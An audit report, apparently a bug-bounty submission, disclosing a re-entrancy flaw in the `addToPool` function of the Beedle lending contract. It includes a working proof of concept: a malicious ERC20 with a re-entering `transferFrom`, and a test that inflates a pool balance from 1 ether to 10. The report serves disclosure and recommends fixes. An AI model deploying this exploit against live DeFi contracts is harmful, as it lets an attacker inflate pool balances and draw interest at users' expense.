20,000 USDC
View results
Submission Details
Severity: high

Possible Re-entrancy in the `addToPool` function.

Summary - Vulnerability Details

This contract accepts any ERC20 token for lending tokens and collateral tokens, and it is possible in the future there will be some tokens where transferFrom will be overridden and modified.

A malicious lending token can create re-entrancy in the addToPool function.

function transferFrom(
address from,
address to,
uint256 amount
) public override returns (bool) {
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
if (poolBalance < 10 ether) {
lender.addToPool(poolId, 1 ether);
} else {
super.transferFrom(from, to, amount);
}
}

This is an overridden transferFrom function in a malicious ERC20 token, as we can see it re-enters the lending contract when we call addToPool function. It again calls addToPool until the pool balance is less than 10 ether.

function test_createPoolAndReenterInAddToPoolFunction() public {
Attack attackerToken = new Attack(lender, address(collateralToken));
vm.startPrank(address(attackerToken));
Pool memory p = Pool({
lender: address(attackerToken),
loanToken: address(attackerToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 0,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
bytes32 poolId = lender.getPoolId(
address(attackerToken),
address(attackerToken),
address(collateralToken)
);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 0); // * pool balance is zero
attackerToken.setPoolId(poolId);
attackerToken.mint(address(attackerToken), 100000 * 10 ** 18);
attackerToken.approve(address(lender), 100000 * 10 ** 18);
lender.addToPool(poolId, 1 ether);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 10000000000000000000); // * balance is 10 ethers
assertEq(attackerToken.balanceOf(address(lender)), 1 ether); // * balance is 1 ether
}

In this test, we can see an attacker creates a pool with malicious lending ERC20 token with a zero balance and using the addToPool function he passes only 1 ether but pool balances increases to 10 ether due to re-entrancy.

Also, we can see the lender contract only has 1 ether, which means the transferFrom function is working as expected but just modified by the attacker.

Note: You can give a reason that if such a token exists then users will simply not take a loan from those pools, but suppose a token gets hyped and users start borrowing loans on Beedle from the malicious pool then Beedle contract can be manipulated by an attacker.

Impact

An attacker can provide any amount of lending tokens to Beedle and earn interest.

Tools Used

Slither, Manual Review, Solodit

Recommendations

Should follow the CEI (Check Affect Interaction pattern) and also for safety reasons use Openzeppelin Reentrancy Guard for functions interacting with external contracts.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.